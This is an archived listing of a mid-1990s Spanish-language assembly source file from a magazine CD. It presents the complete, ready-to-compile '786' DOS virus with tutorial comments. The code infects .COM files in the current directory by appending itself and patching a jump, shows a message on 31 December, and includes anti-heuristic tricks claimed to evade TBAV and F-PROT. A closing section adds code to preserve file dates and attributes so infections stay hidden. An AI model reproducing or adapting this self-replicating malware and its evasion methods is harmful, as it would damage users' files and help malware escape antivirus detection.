home *** CD-ROM | disk | FTP | other *** search
/ PCMania 73 / PCMania CD73_1.iso / sharewar / varios / partial / REGALOS / VIRUS / 786.ASM next >
Assembly Source File  |  1996-01-04  |  20KB  |  483 lines

  1. ;VIRUS
  2. ;-----
  3.  
  4. ; Aqui nos encontramos con nuestro primer virus que utiliza el DTA, listo
  5. ; para ser compilado y ejecutado.
  6. ; Un consejo, si no conocen que es el DTA, aconsejo leer primero el fichero
  7. ; de texto DTA.TXT
  8.  
  9. ;------------------------------------------------------------------------------
  10. ; /~~~\
  11. ;/─────\
  12. ;│     │┌──────────────────────────────────────────────────────────────┐
  13. ;│     ││ ViRuS 786 v1.01 --> por √¡XΣΓ                               ┌┘
  14. ;│     ├┤~~~~~~~^^^~~~~~~~~~~~~~~~^^^^^~                             ┌┘
  15. ;│     ││                                                           ┌┘
  16. ;│     ├┤Caracteristicas: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-┌┘
  17. ;│     ││  -No residente                                          ┌┘
  18. ;│     ├┤  -Appending                                            ┌┘
  19. ;│     ││  -No reinfecta files                                  ┌┘
  20. ;│     ├┤ ──────────────────────────────────────────────────────┤
  21. ;│     ││  -Infecta al final del file                           └┐
  22. ;│     ├┤  -Manda un mensaje el 31 de diciembre                  └┐
  23. ;│     ││  -Virulencia: 1 en 1                                    └┐
  24. ;│     ├┤  -Busca files en current path -=-=-=-=-=-=-=-=-=-=-=-=-=-└┐
  25. ;│     ││  -Tecnicas anti-heuristicas                               └┐
  26. ;│     ├┤  ^(No lo detecta el TBAV en modo HIGH ni el F-PROT)        └┐
  27. ;│     ││                                                             └┐
  28. ;│     ││  /* Creado el 1 de Junio de 1994 */                          └┐
  29. ;│     │└───────────────────────────────────────────────────────────────┘
  30.  
  31. ;( Arriba tenéis las características de este virus, y quién lo hizo ...)
  32.  
  33.  
  34. .286c
  35. Codigo  Segment 'code'
  36.     org 100h
  37.         Assume cs:Codigo, ds:Codigo, es:Codigo
  38.  
  39. Start   Proc Far
  40.  
  41.         jmp     Comienzo                ;JMP 3 bytes al virus
  42.         db      "V"                     ;Marca de infecion
  43.         nop
  44.         nop                             ;Supuesto prog. infectado (host)
  45.         mov     ax, 04c00h
  46.         int     21h
  47.  
  48. ;-----------------------------------------------------------------------------
  49. ; Que hacen estas primeras líneas de código, bueno, es sencillo, al
  50. ; ejecutar el virus inicial, en vez de acabar el trabajo y quedarse colgado
  51. ; el equipo, retorna para devolver el control al MS-DOS, como un programa
  52. ; normal, mediante la función 4c en AH y 00 en AL (o si lo prefieres AX=4c00h)
  53. ;-----------------------------------------------------------------------------
  54.  
  55. ;AQUI COMIENZA EL VIRUS EN SI--------------------------------------------------
  56.  
  57. Comienzo:                               ;Desde aqui comienza el Virus
  58.         push    cs
  59.         push    cs
  60.         pop     ds
  61.         pop     es
  62.                                          
  63.         call    Proc_falso              ;Llama a Proc_falso para que quede
  64. Proc_falso      proc near               ;en el stack el reg. IP
  65. Proc_falso      endp
  66.  
  67.         mov     di, sp                  ;Esto es equivalente a POP BP
  68.         mov     bp, word ptr ss:[di]    ;SUB BP, OFFSET PROC_FALSO
  69.         sub     bp, offset Proc_falso   ;Esto es una tecnica anti-heuristica
  70.         add     sp, 02d
  71.  
  72. ;-----------------------------------------------------------------------------
  73. ; Este inicio es bastante chulo, al ejecutarse obtiene su posición en el
  74. ; fichero por medio del cálculo del offset. Como se muestra a su derecha
  75. ; estas instrucciones equivalen a:
  76.  
  77. ;                POP BP
  78. ;                SUB BP,OFFSET PROC_FALSO
  79.  
  80. ; esto lo hace como técnica anti-heurística pues como veremos en otro artículo
  81. ; dedicado a ello, podemos representar los mismos procedimientos de forma
  82. ; diferente para dificultar la tarea al antivirus. Y bueno en la práctica
  83. ; esto sirve para saber donde está parado el virus, es decir, hace referencia
  84. ; a sus propias variables de forma relativa a bp. Que quiere decir esto,
  85. ; pues bien sencillo, por ejemplo, definimos Mensaje que es una zona de datos
  86. ; donde el virus puede coger un mensaje para mostrarlo en pantalla (por ejemplo)
  87. ; Entonces que sería lo normal, invocar la función AH=09h de la int.21 que
  88. ; muestra una cadena de caracteres, e introducir en DX el mensaje especificando
  89. ; su posición mediante el offset, algo así:
  90.  
  91. ;               mov dx,offset Mensaje
  92.  
  93. ; Del modo que establece el virus sus variables, se podría acceder a Mensaje
  94. ; del siguiente modo
  95.  
  96. ;              lea     dx, bp + Mensaje
  97.  
  98. ; ¡Curioso..!
  99. ;-----------------------------------------------------------------------------
  100.  
  101.  
  102.         mov     cx, 43d                 ;Salva DTA original
  103.         lea     di, bp + DTA_orig
  104.         mov     si, 0080h
  105.         rep     movsb
  106.  
  107. ;-----------------------------------------------------------------------------
  108. ; Salva el contenido del DTA actual, esto lo hace porque
  109. ; al buscar un fichero mediante la función 4eh (Buscar la primera entrada) o
  110. ; 4fh (Buscar la próxima entrada), se nos destruyen los datos que teniamos en
  111. ; el DTA original, o mejor dicho se nos actualizan con los datos del fichero
  112. ; si no conoceis el ensamblador estas instrucciones quieren decir:
  113.  
  114. ; La instrucción MOVS indica que se mueve una cadena que se encuentra
  115. ; en DS:SI y la almacena en ES:DI (como DS y ES apuntan al mismo codigo
  116. ; ya que ds=cs y es=cs, no hace falta cambiarlos), en CX se indica el
  117. ; numero de datos que se mueven, en este caso bytes, ya que lo indica
  118. ; la instrucción movsb ( b-> byte ), y rep significa repetir hasta que
  119. ; en este caso CX=0 y finalize
  120. ;-----------------------------------------------------------------------------
  121.  
  122.  
  123.     jmp     Check_PlayLoad          ; Salta para comprobar la fecha...
  124.  
  125. ;--------------------- DATOS -------------------------------------------------
  126.  
  127. DTA_orig        db 43d dup (0)          ;Espacio para el DTA
  128. Jump            db 0e9h                 ;JUMP
  129. Firma           db "V"                  ;Firma del Virus
  130. Longitud        db 2 dup (0)
  131. Bytes_Orig      db 090h, 090h, 090h, 090h  ;Originales del prog. infectado
  132. File_busc       db "*.C?M", 0
  133.                 ;Busca *.C?M y no *.COM. Es otra tecnica anti-heuristica
  134.  
  135. Mensaje db 0ah,0dh
  136.         db "Este es el virus 786 Version 1 ", 0ah, 0dh          ;Mensaje
  137.         db "Echo por --> √¡xΣΓ [√xΓ]/A.H.D. HALKA/. Industria Argentina", 0ah, 0dh
  138.         db "Quemen al muñeco del `94!", 0ah, 0dh
  139.  
  140.         db  "$  OHH NO, ME HA DESCUBIERTO!!!", 0ah, 0dh   ;String
  141.  
  142. ; 0dh -> significa retorno de carro, es decir, principio de linea
  143. ; 0ah -> significa nueva línea.
  144. ;------------------------------------------------------------------------------
  145.  
  146. Check_PlayLoad:
  147.         mov     ah, 02ah                ;Chequea si es diciembre
  148.         int     021h
  149.  
  150.         cmp     dh, 12d
  151.         jne     No_Playload
  152.  
  153.         cmp     dl, 31                  ;Chequea si es 31
  154.         jne     No_Playload
  155.  
  156.  
  157. ;-----------------------------------------------------------------------------
  158. ; Comprueba la fecha, más concretamente si es 31 de diciembre, mediante
  159. ; la funcion AH=2ah de la int.21h, sino es así, no muestra el mensaje.
  160. ; No os asusteis si algunas funciones no las conoceis, pues en cada articulo
  161. ; se incluyen en un fichero de texto la explicación de todas las funciones
  162. ; tratadas, por si acaso no tuvieraís información de las interrupciones, por
  163. ; ejemplo a través del Pc-Interno, etc...
  164. ;---------------------------------------------------------------------------
  165.  
  166.  
  167.     mov     ax, 0900h               ;Es 31 de diciembre, mostrar mensaje!
  168.         lea     dx, bp + Mensaje
  169.         int     021h
  170.  
  171.         mov     ax, 04c00h              ;Y no ejecuta el prog. infectado
  172.         int     021h
  173.  
  174.  
  175. No_Playload:
  176.         cld                             ;Restaura los 4 primeros bytes del prog
  177.         mov     cx, 4d                  ;infectado
  178.         mov     di, 0100h
  179.         lea     si, bp + Bytes_Orig
  180.         rep     movsb
  181.  
  182. ;-----------------------------------------------------------------------------
  183. ; Llegamos a un punto importante en un virus, guardar los bytes del
  184. ; programa infectado que son sustituidos con el proposito de dar a nuestro
  185. ; virus el control. Al infectar el fichero se sobreescribe los primeros
  186. ; bytes con un Θ (Ascii Jump, aunque si mirais en los datos se refiere como
  187. ; 0e9h, en hexa, claro está!) y a continuación dos bytes que indican la
  188. ; dirección a saltar ( valor que calcula el virus antes de infectar y lo
  189. ; indica en estos bytes. La cuestión es saber porqué se hace esto, el motivo
  190. ; está claro, cuando queremos devolver el control al programa, lo único
  191. ; que tendremos que hacer será sustituir esos primeros bytes y saltar al
  192. ; offset 100h donde se carga el codigo ejecutable de los COM ( recordar
  193. ; 100h=256, esto indica que tiene 256 bytes antes de que comience el programa,
  194. ; esta área se encuentra en todos los ficheros COM y se denomina PSP
  195. ; ( Prefijo de Segmento de Programa ) y contiene información que usa el DOS,
  196. ; por ejemplo, los caracteres que escribimos después del nombre de nuestro
  197. ; programa, etc.
  198. ;-----------------------------------------------------------------------------
  199.  
  200. Buscar_File:
  201.         mov     ax, 04e00h              ;Busca primer file del directorio
  202.         mov     cx, 0
  203.         lea     dx, File_busc + bp
  204.         int     021h
  205.         jnb     Hay_files               ;Salta si hay *.C?M
  206.  
  207. ;-----------------------------------------------------------------------------
  208. ; Como ya se dijo antes busca el primer COM del directorio, si lo
  209. ; encuentra salta a Hay_files, sino retorna...
  210. ;-----------------------------------------------------------------------------
  211.  
  212. Retornar:                               ;No hay *.C?M
  213.         mov     cx, 43d                 ;Restaura el DTA original
  214.         lea     si, bp + DTA_orig
  215.         mov     di, 0080h
  216.         rep     movsb
  217.  
  218.         push    0100h                   ;Ejecuta el prog. infectado
  219.         pop     ax                      ;Esto es igual que JMP 0100h
  220.         jmp     ax                      ;Es una tecnica anti-heuristica
  221.                     ;Significa lo mismo que jmp 100h
  222.  
  223. ;-----------------------------------------------------------------------------
  224. ;Como no hay más archivos COM, finalizo y retorno el control al anfitrión
  225. ;-----------------------------------------------------------------------------
  226.  
  227. Hay_files:
  228.         mov     ax, 03d02h
  229.         mov     dx, 0009eh              ;Abre el file encontrado
  230.     int    021h
  231.         push    ax
  232.         pop     bx
  233.         push    bx
  234.         mov     ax, 03f00h              ;Lee los 4 bytes primeros
  235.         mov     cx, 0004h
  236.         lea     dx, Bytes_Orig + bp     ;Y los guarda en Bytes_Orig
  237.         int     021h
  238.  
  239.         mov     cl, byte ptr cs:[bytes_orig + bp+3] ;Verifica si esta infectado
  240.         cmp     cl, Firma + bp
  241.         jne     Infectar
  242.  
  243. ;-----------------------------------------------------------------------------
  244. ; En estas líneas se abre el fichero encontrado, se leen los primeros
  245. ; 4 bytes (el del jump, los dos de la dirección, y uno que forma la firma de
  246. ; reconocimiento que es V)
  247. ; Entonces los almacena en Bytes_Orig y suma 3 a este, para comprobar si
  248. ; el 4 bytes es V (la firma), si no es así infecta, por el contrario busca
  249. ; el siguiente archivo COM.
  250. ; Este apartado tiene un pequeño inconveniente ya que no se debería comprobar
  251. ; un solo byte ya que si por casualidad el 4 byte se encontrara una V el virus
  252. ; no infectaría ese archivo pensando que ya lo estaba
  253. ;-----------------------------------------------------------------------------
  254.  
  255. Proximo_File:
  256.         pop     bx                      ;Esta infectado. Busca otro
  257.         mov     ah, 03eh
  258.         int     021h                    ;Cierra el file anterior
  259.  
  260.         mov     ah, 04fh
  261.         int     021h
  262.         jb      Retornar                ;Si salta no hay mas files
  263.         jmp     Hay_files
  264.  
  265. ;-----------------------------------------------------------------------------
  266. ; Busca otro COM, si acaso lo encuentra salta a Hay_files, por el contrario
  267. ; devuelve el control...
  268. ;-----------------------------------------------------------------------------
  269.  
  270. Infectar:                               ;Infecta el file!
  271.         pop     bx
  272.         push    bx
  273.         mov     ax, 04200h              ;Mueve el puntero de lecto/escritura
  274.                                         ;(LSEEK) al principio del prog.
  275.         mov     cx, 0
  276.         mov     dx, 0
  277.         int     021h
  278.  
  279.         pop     bx                      ;Escrive el jmp para el Virus
  280.         push    bx
  281.         mov     ah, 040h
  282.         mov     cx, 1
  283.         lea     dx, Jump + bp
  284.         int     021h
  285.  
  286.         mov     cx, 2                   ;Calcula el jmp para el virus
  287.         mov     si, 009ah               ;(longitud del prog. + 1)
  288.         lea     di, bp + Longitud
  289.         rep     movsb
  290.         add     Longitud + bp,1
  291.  
  292.         pop     bx                      ;Graba el resultado del
  293.         push    bx                      ;calculo anterior
  294.         mov     ah, 040h
  295.         mov     cx, 2
  296.         lea     dx, Longitud + bp
  297.         int     021h
  298.  
  299.         pop     bx                      ;Escribe la marca de infeccion
  300.         push    bx
  301.         mov     ah, 040h
  302.         mov     cx, 1
  303.         lea     dx, bp + Firma
  304.         int     021h
  305.  
  306.         pop     bx
  307.         push    bx
  308.         mov     ax, 04202h              ;Mueve el puntero de lecto/escritura
  309.                                         ;(LSEEK) al final del prog.
  310.         mov     cx, 0
  311.         mov     dx, 0
  312.         int     021h
  313.  
  314. ;-----------------------------------------------------------------------------
  315. ; Como ya se ha mencionado antes, el virus pasa a infectar el programa,
  316. ; situa el puntero de escri/lect al comienzo del programa, mediante la
  317. ; función AH=40h de la int.21 escribe el primer byte ( el jump ), a
  318. ; continuación mediante el DTA obtiene la longitud del fichero y la guarda,
  319. ; para a continuación escribirla en los 2 bytes que siguen al jump la
  320. ; dirección de salto al virus, después se escribe el 4º byte que es la
  321. ; marca de infección y por supuesto pone el puntero de escritura/lectura
  322. ; al final del programa para escribir el codigo del virus
  323. ;-----------------------------------------------------------------------------
  324.  
  325.  
  326.         mov     cx, 43d                 ;Restaura el DTA original
  327.         lea     si, bp + DTA_orig
  328.         mov     di, 0080h
  329.         rep     movsb
  330.  
  331.         mov     cx,43d                  ;Borra la variable DTA_orig
  332.         lea     bx, DTA_orig + bp       ;Esto sirve para no crear
  333. DTA_clr:                                ;falsas alarmas en los anti-virus
  334.         mov     byte ptr [bx],0         ;heuristicos
  335.         inc     bx
  336.         loop    DTA_clr
  337.  
  338.         pop     bx                      ;Escrive el virus en el file
  339.         push    bx
  340.         mov     ah, 040h
  341.         mov     cx, 1000d               ;El virus mide 512d bytes. Pero
  342.         lea     dx, bp + Comienzo       ;le graba 1000d porque es menos
  343.         int     021h                    ;notorio 
  344.  
  345.         pop     bx                      ;Ya infecto el prog!
  346.         mov     ah, 03eh                ;Ahora lo cierra
  347.         int     021h
  348.  
  349.         push    0100h                   ;Ejecuta el prog. host
  350.         pop     ax                      ;Esto es igual a JMP 0100h
  351.         jmp     ax                      ;Es una tecnica anti-heuristica
  352.  
  353. ;-----------------------------------------------------------------------------
  354. ; Ahora escribe todo el virus en el programa, esto lo hace refiriendose
  355. ; a Comienzo, es decir, el virus calcula su propio
  356. ; tamaño desde su comienzo que está indicado con la etiqueta Comienzo, una
  357. ; peculiaridad de este virus es que escribe más bytes de lo que es en sí el
  358. ; virus, a modo de basura para despistar un poco. A continuación cierra el
  359. ; fichero y devuelve el control al programa.
  360. ;-----------------------------------------------------------------------------
  361.  
  362. start endp
  363. codigo ends
  364. end start
  365.  
  366. ;---> Este √¡Γu$ NO es Number_of_the_beast! <---
  367.  
  368.  
  369. ;COMENTARIO
  370. ;----------
  371.  
  372. ; Para comenzar este virus no está nada mal nos muestra de un modo muy sencillo
  373. ; como se puede reproducir un virus. De todas formas hay algunas cosas que
  374. ; todo buen virus que se precie debe tener al menos ,como por ejemplo,
  375. ; obtener sus atributos y guardarlos, al igual que la fecha, y una vez
  376. ; modificado el programa cambiarlos.
  377. ; Este virus no lo hace pero para ya ir adelantando un poco sería algo así:
  378. ;
  379. ; Si encontramos el fichero (COM o lo que sea) que queremos infectar continuamos
  380.  
  381. ; Guardamos atributos del fichero
  382.  
  383. ;        MOV AH,43h
  384. ;        MOV AL,00h      
  385.  
  386. ;        (o si prefieren las dos anteriores se sustituyen por mov ax,4300h)
  387.  
  388. ;        MOV DX,009Eh                    ; Accede al nombre del fichero a través
  389.                                          ; del DTA
  390. ;        INT 21h                         ; Al invocar esta función, se devuelven
  391.                                         ; los atributos en CX
  392.  
  393. ;        MOV WORD PTR [BP+ATRIBUTOS],CX  ;Paso CX a ATRIBUTOS.
  394.  
  395.  
  396. ; Ponemos el atributo del fichero en normal, para poder leer/escribir, etc
  397.  
  398. ;        MOV   AH,43H
  399. ;        MOV   AL,01H
  400.  
  401. ;        (o si prefieren las dos anteriores se sustituyen por mov ax,4301h)
  402.  
  403. ;        MOV CX,0000H                         ; Al llamar a esta función
  404. ;        INT     21h                          ; ponemos el atributo del fichero
  405.                                               ; en cuestión a "normal"  
  406.  
  407. ; A continuación abrimos el fichero, realizamos la comprobaciones necesarias,etc.
  408. ; Si estuviera infectado, restauro los atributos:
  409.  
  410. ;Restauro atributos originales
  411.  
  412. ;        MOV AX,4301h                       ;Restauro atributos originales.
  413. ;        MOV CX,WORD PTR [BP+atributos]     ;Mediante esta función paso
  414. ;        MOV DX,09EH                        ;los atributos originales al
  415. ;        INT  21h                           ;fichero
  416.  
  417. ; Por el contrario si el fichero no estuviera infectado:
  418.  
  419.  
  420. ;Guardamos la fecha del fichero
  421.  
  422. ;    MOV AX,5700h
  423. ;    MOV BX,[Handle_del_Archivo]
  424.  
  425. ;     (Al abrir un fichero, su Handle viene a BX por defecto)
  426.  
  427. ;    INT 21H
  428.  
  429. ;    MOV WORD PTR [BP+fecha],CX
  430. ;    MOV WORD PTR [BP+fecha+2],DX
  431.  
  432. ; A continuación lo infectamos y antes de cerrarlo:
  433.  
  434. ;Restauro la fecha del archivo original 
  435.  
  436. ;        MOV  AX,5701h                       ;Restauro fecha original.
  437. ;        MOV  CX,WORD PTR [BP+fecha]         ;Paso FECHA a CX.
  438. ;        MOV  DX,WORD PTR [BP+fecha+2]       ;Paso FECHA+2 a DX.
  439. ;        INT 21H
  440.  
  441.  
  442. ;Restauro atributos del fichero original 
  443.  
  444. ;        MOV AX,4301h
  445. ;        MOV CX,WORD PTR[BP+atributos]
  446. ;        MOV DX,09Eh
  447. ;        INT 21H
  448.  
  449. ; Y retorno el control al anfitrión...
  450.  
  451. ; Los datos a incluir con estas líneas serían 
  452. ;---------------------------------------------
  453. ; fecha                   db 4 dup(0)
  454. ; atributos               db 2 dup(0)
  455. ;---------------------------------------------
  456.  
  457. ; De este modo se da cuenta que el problema de fechas y atributos ya está
  458. ; solucionado, y se dará cuenta que todo virus esencialmente debe tener
  459. ; líneas de codigo que hagan estos procedimientos.
  460.  
  461. ; Bueno con esto ya hay suficiente, hasta el próximo numero......
  462.  
  463. ;                                                                 HANDLER
  464.  
  465.  
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.